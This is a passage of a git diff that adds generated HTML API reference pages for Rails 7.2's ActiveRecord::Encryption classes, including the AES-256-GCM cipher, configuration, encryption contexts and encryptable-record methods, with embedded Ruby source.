diff --git a/src/7.2/classes/ActiveRecord/Encryption/AutoFilteredParameters.html b/src/7.2/classes/ActiveRecord/Encryption/AutoFilteredParameters.html new file mode 100644 index 0000000000..1e0eadf652 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/AutoFilteredParameters.html @@ -0,0 +1,154 @@ +--- +title: ActiveRecord::Encryption::AutoFilteredParameters +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/auto_filtered_parameters.rb, line 6
+      def initialize(app)
+        @app = app
+        @attributes_by_class = Concurrent::Map.new
+        @collecting = true
+
+        install_collecting_hook
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + enable() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/auto_filtered_parameters.rb, line 14
+      def enable
+        apply_collected_attributes
+        @collecting = false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Cipher.html b/src/7.2/classes/ActiveRecord/Encryption/Cipher.html new file mode 100644 index 0000000000..82dd657474 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Cipher.html @@ -0,0 +1,270 @@ +--- +title: ActiveRecord::Encryption::Cipher +layout: default +--- +
+ +
+
+ +
+ +

The algorithm used for encrypting and decrypting Message objects.

+ +

It uses AES-256-GCM. It will generate a random IV for non deterministic encryption (default) or derive an initialization vector from the encrypted content for deterministic encryption.

+ +

See Cipher::Aes256Gcm.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
DEFAULT_ENCODING=Encoding::UTF_8
+ + + + + + + +

Instance Public methods

+ +
+

+ + decrypt(encrypted_message, key:) + +

+ + +
+

Decrypt the provided Message.

+ +

When key is an Array, it will try all the keys raising a ActiveRecord::Encryption::Errors::Decryption if none works.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher.rb, line 25
+      def decrypt(encrypted_message, key:)
+        try_to_decrypt_with_each(encrypted_message, keys: Array(key)).tap do |decrypted_text|
+          decrypted_text.force_encoding(encrypted_message.headers.encoding || DEFAULT_ENCODING)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt(clean_text, key:, deterministic: false) + +

+ + +
+

Encrypts the provided text and return an encrypted Message.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher.rb, line 15
+      def encrypt(clean_text, key:, deterministic: false)
+        cipher_for(key, deterministic: deterministic).encrypt(clean_text).tap do |message|
+          message.headers.encoding = clean_text.encoding.name unless clean_text.encoding == DEFAULT_ENCODING
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + iv_length() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher.rb, line 35
+      def iv_length
+        Aes256Gcm.iv_length
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key_length() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher.rb, line 31
+      def key_length
+        Aes256Gcm.key_length
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Cipher/Aes256Gcm.html b/src/7.2/classes/ActiveRecord/Encryption/Cipher/Aes256Gcm.html new file mode 100644 index 0000000000..7d4f280cfd --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Cipher/Aes256Gcm.html @@ -0,0 +1,330 @@ +--- +title: ActiveRecord::Encryption::Cipher::Aes256Gcm +layout: default +--- +
+ +
+
+ +
+ +

A 256-GCM cipher.

+ +

By default it will use random initialization vectors. For deterministic encryption, it will use a SHA-256 hash of the text to encrypt and the secret.

+ +

See Encryptor

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
CIPHER_TYPE="aes-256-gcm"
+ + + + + + +

Class Public methods

+ +
+

+ + iv_length() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb, line 22
+          def iv_length
+            OpenSSL::Cipher.new(CIPHER_TYPE).iv_len
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key_length() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb, line 18
+          def key_length
+            OpenSSL::Cipher.new(CIPHER_TYPE).key_len
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(secret, deterministic: false) + +

+ + +
+

When iv not provided, it will generate a random iv on each encryption operation (default and recommended operation)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb, line 29
+        def initialize(secret, deterministic: false)
+          @secret = secret
+          @deterministic = deterministic
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + decrypt(encrypted_message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb, line 55
+        def decrypt(encrypted_message)
+          encrypted_data = encrypted_message.payload
+          iv = encrypted_message.headers.iv
+          auth_tag = encrypted_message.headers.auth_tag
+
+          # Currently the OpenSSL bindings do not raise an error if auth_tag is
+          # truncated, which would allow an attacker to easily forge it. See
+          # https://github.com/ruby/openssl/issues/63
+          raise ActiveRecord::Encryption::Errors::EncryptedContentIntegrity if auth_tag.nil? || auth_tag.bytes.length != 16
+
+          cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
+
+          cipher.decrypt
+          cipher.key = @secret
+          cipher.iv = iv
+
+          cipher.auth_tag = auth_tag
+          cipher.auth_data = ""
+
+          decrypted_data = encrypted_data.empty? ? encrypted_data : cipher.update(encrypted_data)
+          decrypted_data << cipher.final
+
+          decrypted_data
+        rescue OpenSSL::Cipher::CipherError, TypeError, ArgumentError
+          raise ActiveRecord::Encryption::Errors::Decryption
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt(clear_text) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb, line 34
+        def encrypt(clear_text)
+          # This code is extracted from +ActiveSupport::MessageEncryptor+. Not using it directly because we want to control
+          # the message format and only serialize things once at the +ActiveRecord::Encryption::Message+ level. Also, this
+          # cipher is prepared to deal with deterministic/non deterministic encryption modes.
+
+          cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
+          cipher.encrypt
+          cipher.key = @secret
+
+          iv = generate_iv(cipher, clear_text)
+          cipher.iv = iv
+
+          encrypted_data = clear_text.empty? ? clear_text.dup : cipher.update(clear_text)
+          encrypted_data << cipher.final
+
+          ActiveRecord::Encryption::Message.new(payload: encrypted_data).tap do |message|
+            message.headers.iv = iv
+            message.headers.auth_tag = cipher.auth_tag
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Config.html b/src/7.2/classes/ActiveRecord/Encryption/Config.html new file mode 100644 index 0000000000..ee74117220 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Config.html @@ -0,0 +1,313 @@ +--- +title: ActiveRecord::Encryption::Config +layout: default +--- +
+ +
+
+ +
+ +

Container of configuration options

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + add_to_filter_parameters
+ [RW] + deterministic_key
+ [RW] + encrypt_fixtures
+ [RW] + excluded_from_filter_parameters
+ [RW] + extend_queries
+ [RW] + forced_encoding_for_deterministic_encryption
+ [RW] + hash_digest_class
+ [RW] + key_derivation_salt
+ [RW] + previous_schemes
+ [RW] + primary_key
+ [RW] + store_key_references
+ [RW] + support_unencrypted_data
+ [RW] + validate_column_size
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/config.rb, line 13
+      def initialize
+        set_defaults
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + previous=(previous_schemes_properties) + +

+ + +
+

Configure previous encryption schemes.

+ +
config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/config.rb, line 20
+      def previous=(previous_schemes_properties)
+        previous_schemes_properties.each do |properties|
+          add_previous_scheme(**properties)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + support_sha1_for_non_deterministic_encryption=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/config.rb, line 26
+      def support_sha1_for_non_deterministic_encryption=(value)
+        if value && has_primary_key?
+          sha1_key_generator = ActiveRecord::Encryption::KeyGenerator.new(hash_digest_class: OpenSSL::Digest::SHA1)
+          sha1_key_provider = ActiveRecord::Encryption::DerivedSecretKeyProvider.new(primary_key, key_generator: sha1_key_generator)
+          add_previous_scheme key_provider: sha1_key_provider
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Configurable.html b/src/7.2/classes/ActiveRecord/Encryption/Configurable.html new file mode 100644 index 0000000000..38869df05d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Configurable.html @@ -0,0 +1,115 @@ +--- +title: ActiveRecord::Encryption::Configurable +layout: default +--- +
+ +
+
+ +
+ +

Configuration API for ActiveRecord::Encryption

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + on_encrypted_attribute_declared(&block) + +

+ + +
+

Register callback to be invoked when an encrypted attribute is declared.

+ +

Example

+ +
ActiveRecord::Encryption.on_encrypted_attribute_declared do |klass, attribute_name|
+  ...
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/configurable.rb, line 47
+        def on_encrypted_attribute_declared(&block)
+          self.encrypted_attribute_declaration_listeners ||= Concurrent::Array.new
+          self.encrypted_attribute_declaration_listeners << block
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Context.html b/src/7.2/classes/ActiveRecord/Encryption/Context.html new file mode 100644 index 0000000000..22018700de --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Context.html @@ -0,0 +1,179 @@ +--- +title: ActiveRecord::Encryption::Context +layout: default +--- +
+ +
+
+ +
+ +

An encryption context configures the different entities used to perform encryption:

+
  • +

    A key provider

    +
  • +

    A key generator

    +
  • +

    An encryptor, the facade to encrypt data

    +
  • +

    A cipher, the encryption algorithm

    +
  • +

    A message serializer

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
PROPERTIES=%i[ key_provider key_generator cipher message_serializer encryptor frozen_encryption ]
+ + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/context.rb, line 17
+      def initialize
+        set_defaults
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + key_provider() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/context.rb, line 24
+      def key_provider
+        @key_provider ||= build_default_key_provider
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Contexts.html b/src/7.2/classes/ActiveRecord/Encryption/Contexts.html new file mode 100644 index 0000000000..acb010f0f9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Contexts.html @@ -0,0 +1,335 @@ +--- +title: ActiveRecord::Encryption::Contexts +layout: default +--- +
+ +
+
+ +
+ +

ActiveRecord::Encryption uses encryption contexts to configure the different entities used to encrypt/decrypt at a given moment in time.

+ +

By default, the library uses a default encryption context. This is the Context that gets configured initially via config.active_record.encryption options. Library users can define nested encryption contexts when running blocks of code.

+ +

See Context.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + context() + +

+ + +
+

Returns the current context. By default it will return the current context.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/contexts.rb, line 62
+        def context
+          self.current_custom_context || self.default_context
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_custom_context() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/contexts.rb, line 66
+        def current_custom_context
+          self.custom_contexts&.last
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + protecting_encrypted_data(&block) + +

+ + +
+

Runs the provided block in an encryption context where:

+
  • +

    Reading encrypted content will return its ciphertext.

    +
  • +

    Writing encrypted content will fail.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/contexts.rb, line 57
+        def protecting_encrypted_data(&block)
+          with_encryption_context encryptor: ActiveRecord::Encryption::EncryptingOnlyEncryptor.new, frozen_encryption: true, &block
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset_default_context() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/contexts.rb, line 70
+        def reset_default_context
+          self.default_context = Context.new
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_encryption_context(properties) + +

+ + +
+

Configures a custom encryption context to use when running the provided block of code.

+ +

It supports overriding all the properties defined in Context.

+ +

Example:

+ +
ActiveRecord::Encryption.with_encryption_context(encryptor: ActiveRecord::Encryption::NullEncryptor.new) do
+  ...
+end
+
+ +

Encryption contexts can be nested.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/contexts.rb, line 33
+        def with_encryption_context(properties)
+          self.custom_contexts ||= []
+          self.custom_contexts << default_context.dup
+          properties.each do |key, value|
+            self.current_custom_context.send("#{key}=", value)
+          end
+
+          yield
+        ensure
+          self.custom_contexts.pop
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + without_encryption(&block) + +

+ + +
+

Runs the provided block in an encryption context where encryption is disabled:

+
  • +

    Reading encrypted content will return its ciphertexts.

    +
  • +

    Writing encrypted content will write its clear text.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/contexts.rb, line 49
+        def without_encryption(&block)
+          with_encryption_context encryptor: ActiveRecord::Encryption::NullEncryptor.new, &block
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html b/src/7.2/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html new file mode 100644 index 0000000000..0ec99425a4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/DerivedSecretKeyProvider.html @@ -0,0 +1,113 @@ +--- +title: ActiveRecord::Encryption::DerivedSecretKeyProvider +layout: default +--- +
+ +
+
+ +
+ +

A KeyProvider that derives keys from passwords.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(passwords, key_generator: ActiveRecord::Encryption.key_generator) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/derived_secret_key_provider.rb, line 7
+      def initialize(passwords, key_generator: ActiveRecord::Encryption.key_generator)
+        super(Array(passwords).collect { |password| derive_key_from(password, using: key_generator) })
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/DeterministicKeyProvider.html b/src/7.2/classes/ActiveRecord/Encryption/DeterministicKeyProvider.html new file mode 100644 index 0000000000..b979ddc932 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/DeterministicKeyProvider.html @@ -0,0 +1,115 @@ +--- +title: ActiveRecord::Encryption::DeterministicKeyProvider +layout: default +--- +
+ +
+
+ +
+ +

A KeyProvider that derives keys from passwords.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(password) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/deterministic_key_provider.rb, line 7
+      def initialize(password)
+        passwords = Array(password)
+        raise ActiveRecord::Encryption::Errors::Configuration, "Deterministic encryption keys can't be rotated" if passwords.length > 1
+        super(passwords)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/EncryptableRecord.html b/src/7.2/classes/ActiveRecord/Encryption/EncryptableRecord.html new file mode 100644 index 0000000000..1c8200d209 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/EncryptableRecord.html @@ -0,0 +1,702 @@ +--- +title: ActiveRecord::Encryption::EncryptableRecord +layout: default +--- +
+ +
+
+ +
+ +

This is the concern mixed in Active Record models to make them encryptable. It adds the encrypts attribute declaration, as well as the API to encrypt and decrypt records.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ORIGINAL_ATTRIBUTE_PREFIX="original_"
+ + + + + + + +

Instance Public methods

+ +
+

+ + add_length_validation_for_encrypted_columns() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 132
+          def add_length_validation_for_encrypted_columns
+            encrypted_attributes&.each do |attribute_name|
+              validate_column_size attribute_name
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ciphertext_for(attribute_name) + +

+ + +
+

Returns the ciphertext for attribute_name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 157
+      def ciphertext_for(attribute_name)
+        if encrypted_attribute?(attribute_name)
+          read_attribute_before_type_cast(attribute_name)
+        else
+          read_attribute_for_database(attribute_name)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrypt() + +

+ + +
+

Decrypts all the encryptable attributes and saves the changes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 171
+      def decrypt
+        decrypt_attributes if has_encrypted_attributes?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deterministic_encrypted_attributes() + +

+ + +
+

Returns the list of deterministic encryptable attributes in the model class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 58
+        def deterministic_encrypted_attributes
+          @deterministic_encrypted_attributes ||= encrypted_attributes&.find_all do |attribute_name|
+            type_for_attribute(attribute_name).deterministic?
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt() + +

+ + +
+

Encrypts all the encryptable attributes and saves the changes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 166
+      def encrypt
+        encrypt_attributes if has_encrypted_attributes?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt_attribute(name, key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 84
+          def encrypt_attribute(name, key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties)
+            encrypted_attributes << name.to_sym
+
+            decorate_attributes([name]) do |name, cast_type|
+              scheme = scheme_for key_provider: key_provider, key: key, deterministic: deterministic, support_unencrypted_data: support_unencrypted_data, \
+                downcase: downcase, ignore_case: ignore_case, previous: previous, **context_properties
+
+              ActiveRecord::Encryption::EncryptedAttributeType.new(scheme: scheme, cast_type: cast_type, default: columns_hash[name.to_s]&.default)
+            end
+
+            preserve_original_encrypted(name) if ignore_case
+            ActiveRecord::Encryption.encrypted_attribute_was_declared(self, name)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypted_attribute?(attribute_name) + +

+ + +
+

Returns whether a given attribute is encrypted or not.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 146
+      def encrypted_attribute?(attribute_name)
+        name = attribute_name.to_s
+        name = self.class.attribute_aliases[name] || name
+
+        return false unless self.class.encrypted_attributes&.include? name.to_sym
+
+        type = type_for_attribute(name)
+        type.encrypted? read_attribute_before_type_cast(name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypts(*names, key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties) + +

+ + +
+

Encrypts the name attribute.

+ +

Options

+
  • +

    :key_provider - A key provider to provide encryption and decryption keys. Defaults to ActiveRecord::Encryption.key_provider.

    +
  • +

    :key - A password to derive the key from. It’s a shorthand for a :key_provider that serves derivated keys. Both options can’t be used at the same time.

    +
  • +

    :deterministic - By default, encryption is not deterministic. It will use a random initialization vector for each encryption operation. This means that encrypting the same content with the same key twice will generate different ciphertexts. When set to true, it will generate the initialization vector based on the encrypted content. This means that the same content will generate the same ciphertexts. This enables querying encrypted text with Active Record. Deterministic encryption will use the oldest encryption scheme to encrypt new data by default. You can change this by setting deterministic: { fixed: false }. That will make it use the newest encryption scheme for encrypting new data.

    +
  • +

    :support_unencrypted_data - If β€˜config.active_record.encryption.support_unencrypted_data` is true, you can set this to false to opt out of unencrypted data support for this attribute. This is useful for scenarios where you encrypt one column, and want to disable support for unencrypted data without having to tweak the global setting.

    +
  • +

    :downcase - When true, it converts the encrypted content to downcase automatically. This allows to effectively ignore case when querying data. Notice that the case is lost. Use :ignore_case if you are interested in preserving it.

    +
  • +

    :ignore_case - When true, it behaves like :downcase but, it also preserves the original case in a specially designated column +original_<name>+. When reading the encrypted content, the version with the original case is served. But you can still execute queries that will ignore the case. This option can only be used when :deterministic is true.

    +
  • +

    :context_properties - Additional properties that will override Context settings when this attribute is encrypted and decrypted. E.g: encryptor:, cipher:, message_serializer:, etc.

    +
  • +

    :previous - List of previous encryption schemes. When provided, they will be used in order when trying to read the attribute. Each entry of the list can contain the properties supported by encrypts. Also, when deterministic encryption is used, they will be used to generate additional ciphertexts to check in the queries.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 49
+        def encrypts(*names, key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties)
+          self.encrypted_attributes ||= Set.new # not using :default because the instance would be shared across classes
+
+          names.each do |name|
+            encrypt_attribute name, key_provider: key_provider, key: key, deterministic: deterministic, support_unencrypted_data: support_unencrypted_data, downcase: downcase, ignore_case: ignore_case, previous: previous, **context_properties
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + global_previous_schemes_for(scheme) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 78
+          def global_previous_schemes_for(scheme)
+            ActiveRecord::Encryption.config.previous_schemes.filter_map do |previous_scheme|
+              scheme.merge(previous_scheme) if scheme.compatible_with?(previous_scheme)
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + override_accessors_to_preserve_original(name, original_attribute_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 109
+          def override_accessors_to_preserve_original(name, original_attribute_name)
+            include(Module.new do
+              define_method name do
+                if ((value = super()) && encrypted_attribute?(name)) || !ActiveRecord::Encryption.config.support_unencrypted_data
+                  send(original_attribute_name)
+                else
+                  value
+                end
+              end
+
+              define_method "#{name}=" do |value|
+                self.send "#{original_attribute_name}=", value
+                super(value)
+              end
+            end)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + preserve_original_encrypted(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 98
+          def preserve_original_encrypted(name)
+            original_attribute_name = "#{ORIGINAL_ATTRIBUTE_PREFIX}#{name}".to_sym
+
+            if !ActiveRecord::Encryption.config.support_unencrypted_data && !column_names.include?(original_attribute_name.to_s)
+              raise Errors::Configuration, "To use :ignore_case for '#{name}' you must create an additional column named '#{original_attribute_name}'"
+            end
+
+            encrypts original_attribute_name
+            override_accessors_to_preserve_original name, original_attribute_name
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scheme_for(key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 70
+          def scheme_for(key_provider: nil, key: nil, deterministic: false, support_unencrypted_data: nil, downcase: false, ignore_case: false, previous: [], **context_properties)
+            ActiveRecord::Encryption::Scheme.new(key_provider: key_provider, key: key, deterministic: deterministic,
+              support_unencrypted_data: support_unencrypted_data, downcase: downcase, ignore_case: ignore_case, **context_properties).tap do |scheme|
+              scheme.previous_schemes = global_previous_schemes_for(scheme) +
+              Array.wrap(previous).collect { |scheme_config| ActiveRecord::Encryption::Scheme.new(**scheme_config) }
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + source_attribute_from_preserved_attribute(attribute_name) + +

+ + +
+

Given a attribute name, it returns the name of the source attribute when it’s a preserved one.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 65
+        def source_attribute_from_preserved_attribute(attribute_name)
+          attribute_name.to_s.sub(ORIGINAL_ATTRIBUTE_PREFIX, "") if attribute_name.start_with?(ORIGINAL_ATTRIBUTE_PREFIX)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_column_size(attribute_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encryptable_record.rb, line 138
+          def validate_column_size(attribute_name)
+            if limit = columns_hash[attribute_name.to_s]&.limit
+              validates_length_of attribute_name, maximum: limit
+            end
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/EncryptedAttributeType.html b/src/7.2/classes/ActiveRecord/Encryption/EncryptedAttributeType.html new file mode 100644 index 0000000000..f1c732daa1 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/EncryptedAttributeType.html @@ -0,0 +1,402 @@ +--- +title: ActiveRecord::Encryption::EncryptedAttributeType +layout: default +--- +
+ +
+
+ +
+ +

An ActiveModel::Type::Value that encrypts/decrypts strings of text.

+ +

This is the central piece that connects the encryption system with encrypts declarations in the model classes. Whenever you declare an attribute as encrypted, it configures an EncryptedAttributeType for that attribute.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + cast_type
+ [R] + scheme
+ + + + +

Class Public methods

+ +
+

+ + new(scheme:, cast_type: ActiveModel::Type::String.new, previous_type: false, default: nil) + +

+ + +
+

Options

+
  • +

    :scheme - A Scheme with the encryption properties for this attribute.

    +
  • +

    :cast_type - A type that will be used to serialize (before encrypting) and deserialize (after decrypting). ActiveModel::Type::String by default.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 23
+      def initialize(scheme:, cast_type: ActiveModel::Type::String.new, previous_type: false, default: nil)
+        super()
+        @scheme = scheme
+        @cast_type = cast_type
+        @previous_type = previous_type
+        @default = default
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cast(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/encrypted_attribute_type.rb, line 31
+      def cast(value)
+        cast_type.cast(value)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + changed_in_place?(raw_old_value, new_value) + +

+ + +
+ +
+ + + + + + + + +
